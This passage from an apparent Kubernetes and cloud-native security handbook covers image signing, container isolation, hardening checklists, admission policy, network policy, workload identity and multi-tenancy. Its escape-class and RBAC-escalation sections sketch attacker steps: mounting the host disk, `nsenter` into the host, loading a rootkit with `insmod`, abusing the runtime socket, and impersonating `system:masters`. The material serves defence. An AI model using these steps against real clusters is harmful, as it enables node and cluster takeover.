   In CI (keyless, identity = the workflow):
     cosign sign --yes  $IMAGE@$DIGEST
     cosign attest --yes --predicate sbom.spdx.json \
        --type spdxjson $IMAGE@$DIGEST
     # SLSA provenance via slsa-github-generator, also attested

Verify at admission (the enforcement point):

   A Kubernetes admission controller checks EVERY pod's images before they
   run:
     - signature is valid AND
     - the signing identity is the expected CI workflow
       (--certificate-identity
        "https://github.com/secureshop/platform/.github/workflows/release.yml@refs/heads/main"
        --certificate-oidc-issuer "https://token.actions.githubusercontent.com")
       AND
     - required attestations are present and valid (SBOM, SLSA provenance
       with source repo = secureshop/*, no CRITICAL vulns in the scan
       attestation) AND
     - the image is from an approved registry AND referenced BY DIGEST.

   Tools: Sigstore `policy-controller`, Kyverno `verifyImages`,
   Connaisseur, Ratify + OPA Gatekeeper, or your cloud's native
   (AWS Signer + EKS, GKE Binary Authorization, Azure Defender).

   RESULT: an image pushed straight to the registry by an attacker -- with
   no valid signature from the release workflow's identity -- is REFUSED
   admission. The build being bypassed no longer means prod is bypassed.

Hermetic / reproducible builds (raises the bar further):

   HERMETIC   the build has NO network access and all inputs are pinned
              and content-addressed -> a poisoned mirror or a
              pulled-at-build-time dependency can't sneak in.
   REPRODUCIBLE  the same inputs always produce a bit-identical output ->
              anyone can rebuild and verify, and two independent builders
              agreeing is strong evidence of integrity.
   Enablers: Bazel, Nix, `ko` (Go), Jib (Java), apko/melange (Chainguard),
   `docker buildx` with pinned digests and `--no-cache`, and running the
   build in a network-egress-denied sandbox.

The paved road (make the secure path the easy path):

   Provide a golden pipeline template that ALREADY does: SBOM, scan,
   sign, provenance, push-by-digest, deploy-via-GitOps-with-verification.
   Teams that use it get security for free. Teams that roll their own get
   flagged by admission (their images won't verify). The incentive points
   the right way -- "psychological acceptability" (G1 Ch 52) as
   architecture.

How it works

The isolation primitives (all kernel features; a "container" is a bundle of them):

   NAMESPACES  give a process its own view of a global resource:
     pid    -- its own process tree (can't see host PIDs)
     net    -- its own interfaces, routes, iptables
     mnt    -- its own filesystem mounts
     uts    -- its own hostname
     ipc    -- its own SysV IPC / POSIX message queues
     user   -- its own uid/gid MAPPING (container uid 0 -> unprivileged
               host uid) -- the strong one, often NOT enabled
     cgroup, time -- its own cgroup root, clock

   CGROUPS     limit and account resources: CPU, memory, PIDs, IO, devices.
               (Also the mechanism abused in some escapes.)

   CAPABILITIES  split root's power into ~40 pieces. A container process
     runs with a SUBSET. The Docker default set still includes things you
     usually don't want (CAP_NET_RAW, CAP_SETUID, CAP_CHOWN,
     CAP_DAC_OVERRIDE, ...). The dangerous ones:
       CAP_SYS_ADMIN  -- mount, pivot_root, many syscalls -> near-root
       CAP_SYS_MODULE -- load kernel modules -> total host compromise
       CAP_SYS_PTRACE -- inspect/modify other processes (+ hostPID = own host)
       CAP_NET_ADMIN  -- reconfigure networking
       CAP_DAC_READ_SEARCH / CAP_DAC_OVERRIDE -- bypass file perms
       CAP_SYS_RAWIO, CAP_SYS_BOOT, CAP_NET_RAW (ARP spoof, Ch G1-37)

   SECCOMP     a BPF filter on syscalls. Docker's default profile blocks
     ~44 dangerous syscalls (keyctl, ptrace in some modes, mount, unshare
     of certain flags, kexec, bpf, ...). Kubernetes does NOT apply
     RuntimeDefault seccomp unless you ask (per-pod
     `seccompProfile: RuntimeDefault`, or the cluster enables
     SeccompDefault).

   LSM (MANDATORY ACCESS CONTROL)  AppArmor or SELinux profiles constrain
     what files/capabilities/network a process can touch, independent of
     DAC. Docker ships a default AppArmor profile; k8s supports
     `securityContext.appArmorProfile` / SELinux options.

   THE DEFAULT CONTAINER = namespaces (usually NOT user ns) + cgroups +
   ~14 default caps + default seccomp + default AppArmor. That stops a
   casual process. It does NOT stop a determined attacker with the wrong
   securityContext.

The escape classes (memorise these — every one is a securityContext or volume review item):

   1  privileged: true            -> ALL caps, ALL host devices, seccomp &
      AppArmor OFF. Mount the host disk (`mount /dev/sda1 /mnt`), write
      `/mnt/etc/...`, or do the cgroup `release_agent` trick. Instant root
      on the node. NEVER in a normal workload.

   2  hostPath volume             -> mount a host directory into the pod.
      `/` , `/etc`, `/root/.ssh`, `/var/lib/kubelet`, `/var/run/
      containerd.sock` (or docker.sock) -> read node secrets, or create a
      privileged container via the runtime socket -> escape.

   3  hostPID: true               -> see host processes; `/proc/1/root` is
      the host root FS; `nsenter -t 1 -a` (with the caps) = host shell.

   4  hostNetwork: true           -> the node's network stack: reach the
      kubelet API (:10250), the cloud metadata endpoint, node-local admin
      services, bypass NetworkPolicy.

   5  Dangerous capabilities without privileged:
       CAP_SYS_ADMIN + seccomp unconfined  -> cgroup-v1 release_agent
         escape; unshare tricks.
       CAP_SYS_MODULE                       -> `insmod` a rootkit.
       CAP_SYS_PTRACE + hostPID             -> inject shellcode into a host
         process.

   6  Mounted container-runtime socket (docker.sock / containerd.sock /
      crio.sock)  -> you ARE the runtime; create a `--privileged` container
      mounting host `/` -> escape.

   7  Writable procfs/sysfs not masked (`/proc/sysrq-trigger`,
      `/proc/sys/kernel/core_pattern`, `/sys/kernel/...`) -> influence the
      host kernel.

   8  Kernel / runtime CVEs:
       runc CVE-2019-5736 (overwrite the host `runc` binary via
         `/proc/self/exe`), CVE-2024-21626 "Leaky Vessels" (fd/cwd leak),
       CVE-2022-0492 (cgroups release_agent, no caps needed on some
         configs), Dirty Pipe (CVE-2022-0847), Dirty COW.
      -> keep the host kernel and runtime patched; this class is why
         "defence in depth" still matters even with a perfect
         securityContext.

The hardened pod (what "restricted" looks like):

   securityContext (pod + container):
     runAsNonRoot: true
     runAsUser: 65532            # a real non-root uid in the image
     allowPrivilegeEscalation: false     # no setuid gain
     readOnlyRootFilesystem: true        # + an emptyDir for /tmp
     capabilities: { drop: ["ALL"], add: ["NET_BIND_SERVICE"] }  # only if
                                                                 # binding <1024
     seccompProfile: { type: RuntimeDefault }
     # appArmorProfile: { type: RuntimeDefault }   (or a custom profile)
   pod spec:
     hostPID: false   hostIPC: false   hostNetwork: false
     automountServiceAccountToken: false   # unless it calls the API
     no hostPath volumes; volumes are emptyDir / PVC / projected / secret
     hostUsers: false            # user namespace -- container root != host root
   image:
     distroless / minimal, non-root by default, pinned by DIGEST, scanned,
     SIGNED (Ch 13)

How it works

The control plane:

   kube-apiserver   THE front door. Everything -- kubectl, controllers,
     kubelets, the dashboard -- talks only to it. It does, in order:
       AUTHN     client certs, bearer tokens (SA / OIDC), webhook, (proxy
                 headers). No "anonymous" in a good config
                 (--anonymous-auth=false).
       AUTHZ     Node authorizer + RBAC (+ optionally ABAC/Webhook).
       ADMISSION mutating webhooks -> schema validation -> validating
                 webhooks -> validating admission policies (CEL).
       then persist to etcd.
     Compromise = total.

   etcd            The key-value store holding ALL cluster state: every
     object, and every Secret. Secrets are base64 (NOT encrypted) unless
     you configure EncryptionConfiguration (aescbc/aesgcm/kms provider).
     Anyone who can read etcd (or an etcd backup, or a snapshot) has every
     Secret and can write any object -> cluster-admin equivalent.
     Controls: mTLS (peer + client), encryption at rest with a KMS
     provider, its own isolated network, encrypted + access-controlled
     backups, not co-located with workloads.

   kube-scheduler / kube-controller-manager   control loops with powerful
     credentials (the controller-manager can create tokens, approve CSRs,
     manage most objects). Run on control-plane nodes only.

   cloud-controller-manager   holds cloud credentials (create LBs, disks,
     routes). A privesc bridge to the cloud account if abused.

The node:

   kubelet          The node agent. Talks to the API server with a client
     cert identity `system:node:<nodeName>` (in the `system:nodes` group).
     The NODE AUTHORIZER limits it to objects related to pods on ITS node
     -- but that includes reading the Secrets, ConfigMaps, and SA tokens
     of every pod scheduled there. Its own API (:10250) must require
     auth (--anonymous-auth=false, --authorization-mode=Webhook); an open
     kubelet API historically allowed unauthenticated `exec`/`run` into
     any pod on the node.
   container runtime (containerd / CRI-O)   pulls images, runs containers.
     Its socket = node takeover (Ch 15).
   kube-proxy       programs Service routing (iptables/ipvs/eBPF).
   CNI plugin       pod networking AND NetworkPolicy enforcement -- but
     ONLY if the plugin supports it (Calico, Cilium, Antrea, Weave;
     flannel does not). "We have NetworkPolicies" is meaningless if the
     CNI ignores them.

The trust boundaries (and the moves across them):

   internet -> apiserver        exposed API server + weak authn/authz, or
                                a leaked kubeconfig / SA token.
   pod -> apiserver             the pod's mounted SA token. What can it do?
                                (Ch 17) Also: can the pod even REACH the
                                API server / kubelet / etcd? (NetworkPolicy,
                                Ch 19)
   pod -> node                  the escape classes (Ch 15).
   node -> cluster              the kubelet's credentials + the Node
                                authorizer + reading on-node Secrets (incl.
                                powerful controller SA tokens if such a pod
                                runs there) + static-pod manifests dir.
   node/pod -> cloud            IMDS from a pod with hostNetwork or a
                                permissive metadata setup -> the node's
                                instance role (Part 2). IRSA misconfig
                                (Ch 20).
   any-write-to-etcd -> all     etcd access, an etcd backup, or a
                                snapshot in an over-shared bucket.
   admission webhook control -> all   whoever can create/modify
                                Validating/MutatingWebhookConfigurations
                                sees or rewrites every API request, or
                                wedges the cluster.

How it works

Identities:

   USERS / GROUPS    not objects in the cluster -- they come from the
     authenticator (client-cert CN/O, OIDC claims, an IdP). `system:masters`
     group = hardcoded cluster-admin (bypasses RBAC) -> a client cert with
     `O=system:masters` is a backdoor; never issue one, alert on any CSR
     for it.
   SERVICE ACCOUNTS  namespaced objects. Pods run as one (`default` if
     unset). Since 1.24, pods get a PROJECTED, BOUND token:
       - audience-scoped (default: the API server)
       - time-limited (~1h) and auto-rotated by the kubelet
       - bound to the pod object (invalid once the pod is gone)
     Legacy: `kubernetes.io/service-account-token` Secrets -- long-lived,
     non-expiring. Discouraged; audit for them.
     `automountServiceAccountToken: false` on the SA or pod if it doesn't
     call the API (most workloads don't).

RBAC objects:

   Role / ClusterRole            a set of rules: {apiGroups, resources,
                                 verbs, resourceNames?}. ClusterRole is
                                 cluster-scoped or reusable across ns.
   RoleBinding / ClusterRole-
     Binding                     grants a Role/ClusterRole to
                                 users/groups/SAs.
   Verbs: get list watch create update patch delete deletecollection
          + SPECIAL: escalate, bind, impersonate, approve (CSR), use (PSP,
          removed).

The escalation edges (audit for every one of these):

   create/update/patch on PODS (or deployments/daemonsets/statefulsets/
     jobs/cronjobs/replicasets/replicationcontrollers)  ->
       schedule a pod with: a more-powerful SA (`serviceAccountName`),
       hostPath/hostPID/privileged, or a node-selector onto a
       control-plane node -> node -> cluster. THE most common path.
   pods/exec, pods/attach, pods/ephemeralcontainers  -> get a shell in an
       EXISTING privileged pod (e.g. a CNI or CSI DaemonSet) -> node.
   get/list/watch on SECRETS  -> read SA tokens (esp. in kube-system),
       TLS keys, cloud creds. `secrets` + a namespace with powerful SAs =
       escalation.
   escalate on roles/clusterroles  -> create a Role with MORE permissions
       than you hold (normally blocked; this verb un-blocks it).
   bind on roles/clusterroles  -> bind a role you don't fully possess.
   create on rolebindings/clusterrolebindings  -> bind yourself (or a SA
       you control) to `cluster-admin`.
   impersonate (users/groups/serviceaccounts)  -> `kubectl --as
       system:masters` -> done.
   certificatesigningrequests + approve + a signer  -> mint a client cert
       for ANY identity, including `O=system:masters`.
   create on serviceaccounts/token (TokenRequest)  -> mint a token for a
       more-powerful SA.
   control of validating/mutatingwebhookconfigurations  -> see/rewrite all
       API traffic (Ch 16).
   patch/update on nodes (or nodes/status)  -> influence scheduling; with
       the right controller, more.
   'get' on 'pods/log' broadly  -> not escalation, but wide info
       disclosure (secrets printed in logs).
   Control over a namespace a privileged CONTROLLER watches (e.g. it
     creates SAs/bindings from CRs there)  -> indirect escalation.

Defence:

   [ ] Least privilege: Role (namespaced) over ClusterRole; `resourceNames`
       to pin to specific objects; never `verbs: ["*"]` / `resources:
       ["*"]` / `apiGroups: ["*"]` outside genuine admin.
   [ ] No workload SA gets: secrets (cross-namespace especially),
       pods/exec, create on pods/bindings/CSRs, escalate/bind/impersonate,
       webhook configs.
   [ ] `automountServiceAccountToken: false` by default (a policy/mutation).
   [ ] Ban `O=system:masters` client certs; alert on any CSR mentioning it
       or auto-approving.
   [ ] Humans get access via OIDC (SSO) mapped to Roles, short-lived,
       ideally JIT -- no static admin kubeconfigs.
   [ ] Audit continuously: `kubectl auth can-i --list --as=...`,
       `rakkess` / `kubectl-who-can` / `access-matrix`, `KubiScan`,
       `rbac-police`, `KubeHound` (graphs the escalation edges above).
   [ ] Review the default ClusterRoles bound to `system:` groups and any
       broad ClusterRoleBinding to `system:authenticated` or
       `system:serviceaccounts`.

How it works

The admission chain (after authn + authz):

   1. MUTATING admission webhooks     may change the object (inject
      sidecars, set defaults, add labels). Order matters; can re-invoke.
   2. Object SCHEMA validation        the API server's own checks.
   3. VALIDATING admission webhooks   accept or reject; cannot change.
   4. VALIDATING ADMISSION POLICIES   in-tree, CEL expressions, NO webhook
      (no extra pod, no availability risk) -- GA in 1.30. Prefer these for
      simple allow/deny.
   5. persist to etcd.
   (Built-in controllers like NamespaceLifecycle, ResourceQuota,
   PodSecurity, and the LimitRanger also run in this pipeline.)

Pod Security Admission (PSA) — the built-in, replaces PodSecurityPolicy:

   Three LEVELS, applied per-namespace via labels:
     privileged  -- no restrictions.
     baseline    -- blocks known privilege escalations: no privileged, no
                    hostPath (mostly), no hostNetwork/PID/IPC, no dangerous
                    caps added, no host ports (mostly), AppArmor not
                    unconfined, etc. "Don't do the obviously bad thing."
     restricted  -- hardened: runAsNonRoot, allowPrivilegeEscalation:false,
                    drop ALL caps (NET_BIND_SERVICE allowed),
                    seccompProfile RuntimeDefault|Localhost, no hostPath,
                    volumes limited to safe types, etc.

   Three MODES per level:
     enforce  -- reject violating pods
     audit    -- allow but record in the audit log
     warn     -- allow but return a warning to the client

   Labels on the namespace:
     pod-security.kubernetes.io/enforce: restricted
     pod-security.kubernetes.io/enforce-version: v1.30
     pod-security.kubernetes.io/warn: restricted
     pod-security.kubernetes.io/audit: restricted

   Rollout pattern: set `warn` + `audit` to `restricted` cluster-wide,
   watch the audit log / warnings for breakage, fix workloads, THEN flip
   `enforce`. Exempt only specific system namespaces, by name, with a
   comment.

Policy engines (for everything PSA can't express):

   OPA GATEKEEPER   ConstraintTemplate (Rego) + Constraint CRDs. Rich, a
     large policy library, `gator` for unit-testing policies, audit mode
     that reports existing violations. Rego has a learning curve.
   KYVERNO          YAML policies, no Rego. validate / mutate / generate /
     verifyImages / cleanup. `Audit` vs `Enforce`. Policy Reports. Great
     DX; CLI `kyverno apply` / `kyverno test` for CI.
   VALIDATING ADMISSION POLICY (VAP)  in-tree, CEL, no webhook. Use for
     simple deny rules -> zero operational risk (a broken webhook can wedge
     the whole cluster; VAP can't).
   Kubewarden (WASM policies), jsPolicy (JS/TS) -- alternatives.

Policies worth enforcing (beyond PSA restricted):

   [ ] images: only from approved registries, BY DIGEST, SIGNED with the
       expected identity + required attestations (Ch 13).
   [ ] every namespace has a default-deny NetworkPolicy (generate one if
       missing -- Kyverno `generate`).
   [ ] no `serviceAccountName` outside an allowlist for the creator
       (blocks the Ch 17 path).
   [ ] resource requests/limits set (DoS / noisy-neighbour).
   [ ] `automountServiceAccountToken: false` unless annotated as needing
       the API.
   [ ] no `:latest`, no unpinned tags.
   [ ] required labels: owner, team, data-classification.
   [ ] no LoadBalancer/NodePort Services except in an allowlist.
   [ ] no `hostPath` except exact paths for named system DaemonSets.
   [ ] deny creating `ClusterRoleBinding` to cluster-admin except
       break-glass; deny `bind`/`escalate`/`impersonate` grants in new
       Roles.
   [ ] PDBs / topology spread for critical workloads (availability is a
       security property -- Ch 28).

Webhook availability = cluster availability. A validating webhook with failurePolicy: Fail that becomes unavailable blocks all matching API writes (potentially the whole cluster). Mitigations: failurePolicy: Ignore for non-critical rules (accepting a fail-open gap), tight namespaceSelector / objectSelector to scope what the webhook sees, exclude kube-system, run the webhook HA, and prefer VAP (no webhook) for critical deny rules.

How it works

NetworkPolicy basics:

   - Namespaced. Selects pods by label. Applies to Ingress, Egress, or both.
   - DEFAULT: all traffic allowed. The moment ANY NetworkPolicy selects a
     pod for a direction, that pod becomes DEFAULT-DENY for that direction
     -- only explicitly-listed traffic is allowed.
   - Peers: podSelector (same ns), namespaceSelector, ipBlock (+ except),
     and ports.
   - ONLY enforced if the CNI supports it: Calico, Cilium, Antrea, Weave,
     Kube-router. flannel does NOT -> policies are silently inert.

   The must-have baseline, per namespace:
     # deny all ingress and egress
     apiVersion: networking.k8s.io/v1
     kind: NetworkPolicy
     metadata: { name: default-deny, namespace: core }
     spec:
       podSelector: {}
       policyTypes: ["Ingress", "Egress"]
   Then explicit allows:
     - allow DNS egress to kube-dns (UDP/TCP 53) -- forgetting this breaks
       everything.
     - allow ingress from the specific caller pods/namespaces on the
       service port.
     - allow egress to the specific downstream services.
     - allow egress to the API server only for pods that call it.
     - DENY egress to 169.254.169.254/32 (metadata) and to the node CIDR /
       kubelet port unless explicitly needed.

What plain NetworkPolicy can't do (use Cilium/Calico enterprise CRDs):

   - L7 rules (HTTP method/path, gRPC service/method, Kafka topic).
   - FQDN-based egress ("allow egress to api.stripe.com") -- plain policy
     is IP-based, and cloud service IPs are dynamic.
   - DNS-aware policy, cluster-wide policies, default policies, node
     egress, identity-based (not just label-based) rules.
   CiliumNetworkPolicy / CiliumClusterwideNetworkPolicy and Calico
   GlobalNetworkPolicy give you these. FQDN egress is how you actually
   allowlist third-party APIs.

The service mesh layer (identity on every call):

   NetworkPolicy says "pod A CAN reach pod B on port 8080". It does NOT
   verify WHO is calling or authenticate the connection. A mesh (Istio,
   Linkerd, Cilium Service Mesh, Consul) adds:
     - automatic mTLS between workloads, with SPIFFE identities (Part 5) ->
       "reachable but refused" for anyone without the right identity.
     - AuthorizationPolicy: "only workloads with identity
       spiffe://.../core/web may call orders-api, method POST /orders".
     - telemetry: every call, with source and destination identity ->
       detection (Ch 54).
   Use BOTH: NetworkPolicy for coarse reachability (defence in depth,
   works even if the mesh sidecar is bypassed), mesh AuthorizationPolicy
   for identity-based L7 authz.

Other cluster-network exposure:

   [ ] Metadata endpoint: pods can hit 169.254.169.254 by default -> IMDS
       creds (Part 2). Block via NetworkPolicy egress deny + IMDSv2
       hop-limit-1 on nodes; on EKS use the "disable pod access to IMDS"
       setting or a network policy; GKE Workload Identity blocks the
       legacy metadata paths.
   [ ] The kubelet (:10250) and etcd (:2379-2380) should be unreachable
       from workload pods.
   [ ] Ingress controllers: TLS config (Part G1-7), rate limiting, WAF,
       and they often run privileged / hostNetwork -> treat as a sensitive
       workload.
   [ ] LoadBalancer/NodePort Services expose things outside the cluster --
       gate their creation by policy (Ch 18).
   [ ] DNS: CoreDNS is a high-value target (poison it -> redirect every
       service lookup). Lock down its RBAC and config; consider DNS
       policies.
   [ ] East-west by default: kube-proxy makes every Service reachable
       cluster-wide -- NetworkPolicy is the only thing narrowing it.

How it works

Runtime detection tools:

   FALCO (CNCF)     syscall + k8s-audit + container events, via a kernel
     module or a (preferred) eBPF probe. YAML rules. Ships a solid default
     ruleset: "shell spawned in container", "read sensitive file
     untrusted", "write below /etc", "unexpected outbound", "container
     drift" (a binary not in the image runs), "escape attempt" syscall
     patterns, "contact k8s API server from container". Falcosidekick fans
     alerts out (Slack, SIEM, EventBridge...).
   TETRAGON (Cilium)  eBPF, TracingPolicy CRDs. Not just observe --
     can ENFORCE (SIGKILL a process, block a syscall) in kernel. Rich
     process ancestry. Lower overhead at high event rates.
   TRACEE (Aqua)    eBPF, behavioural detection "signatures", good for
     forensics/replay.
   Also: cloud-native (GuardDuty EKS Runtime Monitoring, Defender for
     Containers), and commercial (Sysdig, Aqua, Wiz Runtime).

   Tune aggressively -- the default rules are noisy in a real cluster.
   Baseline your workloads, allowlist known-good, and route only
   high-fidelity rules to paging.

Complementary preventive runtime controls (from Ch 15, applied):

   seccompProfile: RuntimeDefault (or a custom profile from
     `strace`/`oci-seccomp-bpf-hook`/inspektor-gadget). Blocks the
     syscalls escapes need.
   AppArmor/SELinux profile per workload.
   readOnlyRootFilesystem + no package manager in the image -> "container
     drift" (attacker installs tools) becomes impossible / loud.
   Distroless images -> no shell for the attacker to spawn (Falco's
     "shell in container" becomes "there is no shell", and any exec is
     anomalous).

Workload identity (no static cloud keys in pods):

   AWS IRSA (IAM Roles for Service Accounts)
     - the cluster has an OIDC provider (its issuer URL registered in IAM).
     - a mutating webhook injects a PROJECTED SA TOKEN (audience
       sts.amazonaws.com) + env vars into pods whose SA is annotated
       `eks.amazonaws.com/role-arn`.
     - the SDK calls sts:AssumeRoleWithWebIdentity; the role's TRUST
       POLICY conditions on
         "<oidc>:sub": "system:serviceaccount:<ns>:<sa>"
         "<oidc>:aud": "sts.amazonaws.com"
       -> short-lived creds scoped to that role.
     MISCONFIG: trust `:sub` set to `system:serviceaccount:*:*` or a
       wildcard namespace -> any pod assumes the role. Pin ns AND sa.
   AWS EKS Pod Identity (newer)  -- an agent + a PodIdentityAssociation
     API; no per-cluster OIDC federation to manage; role trust is on
     `pods.eks.amazonaws.com`. Simpler; prefer for new clusters.
   GCP Workload Identity  -- bind a KSA to a GSA:
     `gcloud iam service-accounts add-iam-policy-binding GSA
        --role roles/iam.workloadIdentityUser
        --member "serviceAccount:PROJECT.svc.id.goog[NS/KSA]"`
     and annotate the KSA. The GKE metadata server brokers tokens; the
     legacy node metadata paths are blocked.
   Azure Workload Identity  -- a federated credential on a user-assigned
     managed identity, trusting the cluster's OIDC issuer + the KSA
     subject; a webhook injects the token.

   RULES:
     [ ] one role per workload, least privilege (Part 2 Ch 6).
     [ ] trust conditions pin the EXACT namespace + serviceaccount (+
         audience). Review every IRSA trust policy for wildcards.
     [ ] `automountServiceAccountToken: true` is required for IRSA (the
         projected token) -- but the token's audience is STS, not the k8s
         API; still set `automount: false` for the DEFAULT SA and only
         enable per-workload.
     [ ] node instance role: minimal (CNI, ECR pull, CloudWatch) -- pods
         must NOT be able to reach it (Ch 19 metadata block) so they can't
         borrow the node's (broader) permissions.

How it works

The tenancy spectrum, weakest to strongest isolation:

   NAMESPACE-PER-TENANT ("soft multi-tenancy")
     boundary: RBAC + NetworkPolicy + ResourceQuota/LimitRange + PSA
       restricted + a policy engine + per-tenant SAs.
     SHARED: the control plane (one API server, one etcd), the nodes, the
       kernel, the CNI, cluster-scoped resources (CRDs, some webhooks),
       DNS.
     good for: internal teams, environments, workloads you build.
     NOT sufficient for: untrusted code / customers running arbitrary
       workloads -- a control-plane bug, an admission bypass, a kernel
       CVE, or a noisy CRD crosses tenants.
     tools: Hierarchical Namespace Controller (HNC), Capsule, vcluster's
       "namespace" mode, Kiosk; "Multi-tenancy" working-group guidance.

   VIRTUAL CLUSTERS (vcluster)
     each tenant gets a syntactic "cluster": its own API server + control
       plane components running as pods inside a host namespace; workloads
       are synced down to the host.
     boundary: tenant can't touch host cluster-scoped resources or other
       tenants' API servers; still shares host nodes + kernel.
     good for: teams that need CRDs / cluster-admin-like power without a
       real cluster each; strong control-plane isolation, moderate cost.

   NODE ISOLATION (dedicated node pools)
     tenants get their own nodes via taints/tolerations + nodeSelector/
       affinity + a separate node pool. No pod co-tenancy -> kernel not
       shared between tenants.
     combine with the namespace controls above. Costs: idle capacity.

   SANDBOXED RUNTIMES (per-pod isolation)
     gVisor (runsc)  -- a user-space kernel intercepts syscalls; the
       container never talks to the host kernel directly. ~small overhead,
       some syscall-compat gaps.
     Kata Containers -- each pod in a lightweight VM (own kernel). Stronger
       isolation, more overhead.
     Set via a RuntimeClass; schedule untrusted tenant pods onto it.
     good for: running genuinely untrusted code (CI for customers,
       plugin/function platforms) on shared nodes.

   SEPARATE CLUSTERS PER TENANT ("hard multi-tenancy")
     the only model that shares nothing (except your cloud account, so
     multi-account too for the highest bar -- Part 2 Ch 7).
     good for: high-value / regulated / mutually-distrustful tenants.
     costs: N control planes, N upgrades, N cost floors -> automate
       ruthlessly (Cluster API, fleet management: Rancher, Anthos, EKS
       Blueprints, Argo CD ApplicationSets).

The decision:

   Is the tenant workload TRUSTED (you wrote it / it's an internal team)?
     yes -> namespace-per-tenant + full soft-MT controls is usually fine.
     no  -> you need hard isolation for the RUNTIME:
              arbitrary containers, some trust    -> sandboxed runtime
                                                     (gVisor/Kata) + node
                                                     isolation
              arbitrary code, regulated, or
                mutually hostile tenants          -> cluster-per-tenant
                                                     (+ account-per-tenant)
   Independently: the DATA layer needs its own isolation proof (Ch 27) --
   RLS / per-tenant keys / per-tenant indices -- regardless of the compute
   model.

Soft-MT hardening checklist (per tenant namespace):

   [ ] RBAC: tenant admins get a Role scoped to their namespace only; no
       cluster-scoped verbs; no `escalate`/`bind`/`impersonate`; can't
       edit their own quotas/policies.
   [ ] NetworkPolicy: default-deny; no cross-tenant traffic; egress
       allowlist; metadata blocked.
   [ ] ResourceQuota + LimitRange: cap CPU/mem/pods/PVCs/LoadBalancers/
       NodePorts; prevent one tenant starving others (a DoS = a security
       issue, Ch 28).
   [ ] PSA `restricted` enforced; policy engine denies privileged/hostPath/
       hostNetwork/host* and unapproved images.
   [ ] Separate SAs; `automountServiceAccountToken: false` default.
   [ ] No shared PVs; StorageClass with per-namespace encryption keys.
   [ ] CRD/operator access denied unless explicitly granted (a
       cluster-scoped CRD is a shared blast radius).
   [ ] Priority/preemption: tenants can't set `system-` priority classes.
   [ ] Audit + per-tenant cost/usage visibility.

How it works

   SPIFFE ID    a URI:  spiffe://securesh.op/ns/core/sa/orders-api
                one per workload TYPE. The trust domain (securesh.op) is
                the root of trust.

   SVID         "SPIFFE Verifiable Identity Document" -- the credential:
                X.509-SVID  a short-lived cert with the SPIFFE ID as a URI
                            SAN. Used for mTLS.
                JWT-SVID    a short-lived JWT with sub = the SPIFFE ID and
                            aud = the intended recipient. Used where you
                            can't do mTLS (through an L7 proxy, a queue).

   TRUST BUNDLE the CA certs / JWKS for a trust domain -> how a verifier
                checks an SVID. Federation = trust domains exchange
                bundles so `securesh.op` workloads can verify
                `partner.example` workloads.

   WORKLOAD API a local gRPC API over a Unix domain socket. A workload
                calls it to GET its SVID + the trust bundle, and to be
                notified on rotation. NO token or secret is needed to call
                it -- the fact that the process can open that socket, plus
                kernel-level attestation of who the process is, IS the
                authentication. This is the key trick: no bootstrap
                secret.

SPIRE — the implementation:

   SPIRE SERVER   the CA + registrar. Signs SVIDs. Holds REGISTRATION
     ENTRIES (selector-set -> SPIFFE ID mappings). Its CA can be
     self-managed or "upstream'd" to Vault / AWS Private CA / disk / an
     HSM. HA via a shared datastore.

   SPIRE AGENT    one per node. Two-step attestation:
     1. NODE ATTESTATION -- the agent proves what node it runs on to the
        server, using a platform mechanism:
          aws_iid (EC2 instance identity doc), gcp_iit, azure_msi,
          k8s_psat (a projected SA token the server validates against the
          cluster), join_token, x509pop, tpm_devid.
     2. WORKLOAD ATTESTATION -- when a local process calls the Workload
        API, the agent inspects it via plugins:
          unix (uid/gid/path/sha256), k8s (namespace/serviceaccount/
          pod-label/pod-name/image-id), docker.
        The resulting SELECTORS (e.g. k8s:ns:core, k8s:sa:orders-api) are
        matched against registration entries -> the agent hands the
        process the right SVID.

   REGISTRATION ENTRY example:
     spiffe ID : spiffe://securesh.op/ns/core/sa/orders-api
     parent ID : spiffe://securesh.op/spire/agent/k8s_psat/<cluster>/<node>
     selectors : k8s:ns:core, k8s:sa:orders-api, k8s:pod-label:app:orders-api
     ttl       : 1h   (SVIDs auto-rotate at ~half-life)

How workloads use it:

   - Directly: link the SPIFFE library (go-spiffe, py-spiffe, etc.), call
     the Workload API, get an X.509-SVID, use it for mTLS; the library
     validates the peer's SVID against the trust bundle.
   - Via a mesh: Istio, Linkerd, Cilium, and Consul use SPIFFE identities
     natively. Istio's `spiffe://<trust-domain>/ns/<ns>/sa/<sa>` is a
     SPIFFE ID; its Citadel/istiod is effectively a SPIFFE CA. You get
     mTLS + identity for free, and AuthorizationPolicy keys off
     `source.principals` (the SPIFFE ID).
   - Via SDS: the mesh's Envoy sidecars fetch SVIDs from a SPIRE agent
     over the Envoy Secret Discovery Service.

Why this matters for the rest of the Part: every subsequent chapter assumes a service can answer "who is calling me?" with a verified SPIFFE ID. That is the foundation for service-to-service authz (Ch 25), safe token exchange (Ch 24), and "reachable but refused" (Ch 3).

How it works

The problem with naive approaches:

   FORWARD THE USER'S TOKEN UNCHANGED to every downstream service
     - the token's `aud` is the first API, not the downstream -> either
       downstreams don't check `aud` (bad) or it fails.
     - any compromised downstream can replay the user's token to ANY
       service that accepts it -> lateral movement with the user's full
       rights.
     - the token may carry scopes far beyond what this call needs.
   USE A SHARED SERVICE ACCOUNT / API KEY between services
     - loses the user's identity (B can't do per-user authz or audit).
     - one leaked key = impersonate the whole service.
   PUT THE USER ID IN A HEADER (X-User-Id: 42) and trust it
     - any service (or attacker with network reach) sets it. No.

Token exchange (RFC 8693): a service presents its own identity plus the incoming token to an STS (your IdP, or a local exchange service), and gets back a new token minted for the specific downstream, carrying the user as sub and the caller as an actor.

   POST /token   (from `orders-api`, authenticating with its SPIFFE
                  JWT-SVID or client credential)
     grant_type        = urn:ietf:params:oauth:grant-type:token-exchange
     subject_token     = <the user's access token that orders-api received>
     subject_token_type= urn:ietf:params:oauth:token-type:access_token
     actor_token       = <orders-api's own identity token / SVID>
     audience          = "spiffe://securesh.op/ns/core/sa/payments-api"
     scope             = "charge:create"        # only what THIS call needs

   -> a new JWT:
     iss = your STS
     sub = user:42                      # the end user, preserved
     aud = payments-api                 # ONLY payments-api accepts it
     scope = "charge:create"            # down-scoped
     act = { sub: "spiffe://.../core/sa/orders-api",
             act: { sub: "spiffe://.../edge/sa/bff" } }   # the delegation
                                                          # chain
     exp = now + 60s                    # very short

The rules every service enforces:

   [ ] Validate the signature, `iss`, `exp`, `nbf` (G1 Ch 46).
   [ ] Validate `aud` == THIS service's identity. A token for payments-api
       is rejected by catalog-api. This single check kills cross-service
       replay.
   [ ] Read `sub` for the end user and `act` for the calling-service
       chain; use both for authz (Ch 25) and audit.
